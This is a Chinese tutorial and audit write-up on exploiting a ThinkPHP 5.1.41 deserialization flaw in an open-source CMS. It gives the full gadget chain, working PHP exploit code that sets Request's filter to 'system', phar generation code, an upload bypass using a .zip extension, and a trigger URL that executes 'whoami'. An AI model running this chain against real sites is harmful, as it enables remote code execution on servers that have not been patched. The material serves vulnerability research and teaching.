基于框架漏洞的代码审计实战
字数 1834 2025-08-27 12:33:23
基于框架漏洞的代码审计实战教学文档
0x00 前言
本教学文档将详细讲解如何基于框架漏洞进行代码审计,重点分析ThinkPHP 5.1.41反序列化漏洞的发现和利用过程。文档包含漏洞环境介绍、反序列化入口寻找、phar文件生成、利用链构造、文件上传绕过以及最终漏洞验证等完整流程。
0x01 环境介绍
- 目标:某开源CMS最新版
- 框架:ThinkPHP 5.1.41(已知存在反序列化漏洞)
- 漏洞已提交至CNVD
0x02 技术栈分析
通过查看项目README.md文件获取技术栈信息:
- ThinkPHP版本:5.1.41
0x03 反序列化入口寻找
常见反序列化触发点
- unserialize()函数
- phar反序列化
- session反序列化
3.1 unserialize函数分析
- 全局搜索unserialize函数调用
- 结合路由分析可访问性
- 结论:无可用路由访问unserialize函数
3.2 session反序列化分析
- 全局搜索
session.serialize_handler - 结论:未发现相关配置
3.3 phar反序列化分析
常见触发函数:
- is_file()
- is_dir()
- file_exists()
- file_get_contents()
- file()
- fopen()
- unlink()
- stat()
漏洞发现:
- 在
update控制器的rmdirr方法中发现可利用点 - 方法未限制前缀,允许使用phar协议
- 后缀限制可通过特定方式绕过
0x04 phar文件生成
4.1 配置要求
生成phar文件需要本地配置:
phar.readonly = Off
4.2 phar文件生成代码
class Demo{
// 反序列化利用对象
}
$phar = new \Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Demo()); // 设置要序列化的对象
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
0x05 ThinkPHP 5.1.41反序列化利用链
5.1 利用链分析
完整利用链路径:
\thinkphp\library\think\process\pipes\Windows.php->__destruct()\thinkphp\library\think\process\pipes\Windows.php->removeFiles()Windows.php:file_exists()\thinkphp\library\think\model\concern\Conversion.php->__toString()\thinkphp\library\think\model\concern\Conversion.php->toJson()\thinkphp\library\think\model\concern\Conversion.php->toArray()\thinkphp\library\think\Request.php->__call()\thinkphp\library\think\Request.php->isAjax()\thinkphp\library\think\Request.php->param()\thinkphp\library\think\Request.php->input()\thinkphp\library\think\Request.php->filterValue()
5.2 EXP代码
<?php
namespace think;
abstract class Model {
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan" => ["dir", "calc"]];
$this->data = ["ethan" => new Request()];
}
}
class Request {
protected $hook = [];
protected $filter = "system";
protected $config = [
'var_method' => '_method',
'var_ajax' => '_ajax',
'var_pjax' => '_pjax',
'var_pathinfo' => 's',
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
'default_filter' => '',
'url_domain_root' => '',
'https_agent_name' => '',
'http_agent_ip' => 'HTTP_X_REAL_IP',
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax" => ''];
$this->hook = ["visible" => [$this, "isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows {
private $files = [];
public function __construct() {
$this->files = [new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model {
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
0x06 Phar与ThinkPHP反序列化结合
完整phar生成代码:
<?php
namespace think;
abstract class Model {
// 同上
}
class Request {
// 同上
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows {
private $files = [];
public function __construct() {
$this->files = [new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model {
}
use think\process\pipes\Windows;
$phar = new \Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Windows());
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
0x07 Phar文件上传
7.1 Phar文件上传绕过
- phar文件可以是任意后缀(jpg/png/zip等)
- 只需配合phar协议即可触发反序列化
7.2 上传功能查找方法
- 黑盒测试:直接测试应用程序功能
- 白盒测试:通过路由和代码审计寻找
7.3 黑盒测试结果
- 发现图片上传功能
- 直接上传phar.jpg失败(文件头检测)
- 无法通过图片上传利用
7.4 白盒测试结果
- 发现允许上传zip/txt等文件
- 上传phar.zip成功
- 获取文件存储路径
0x08 漏洞验证
Payload构造:
http://127.0.0.1//admin.php/update/rmdirr?dirname=phar://public/upload/images/628259c295370.zip&id=whoami
0x09 总结
- 通过分析框架版本确定潜在漏洞
- 系统性地寻找反序列化入口点
- 优先考虑phar反序列化方式
- 构造完整的利用链
- 生成phar文件并绕过上传限制
- 通过phar协议触发反序列化实现RCE
关键点:
- ThinkPHP 5.1.41反序列化利用链
- phar文件格式和生成方法
- 文件上传绕过技巧
- phar协议的使用方式
- 完整的漏洞验证流程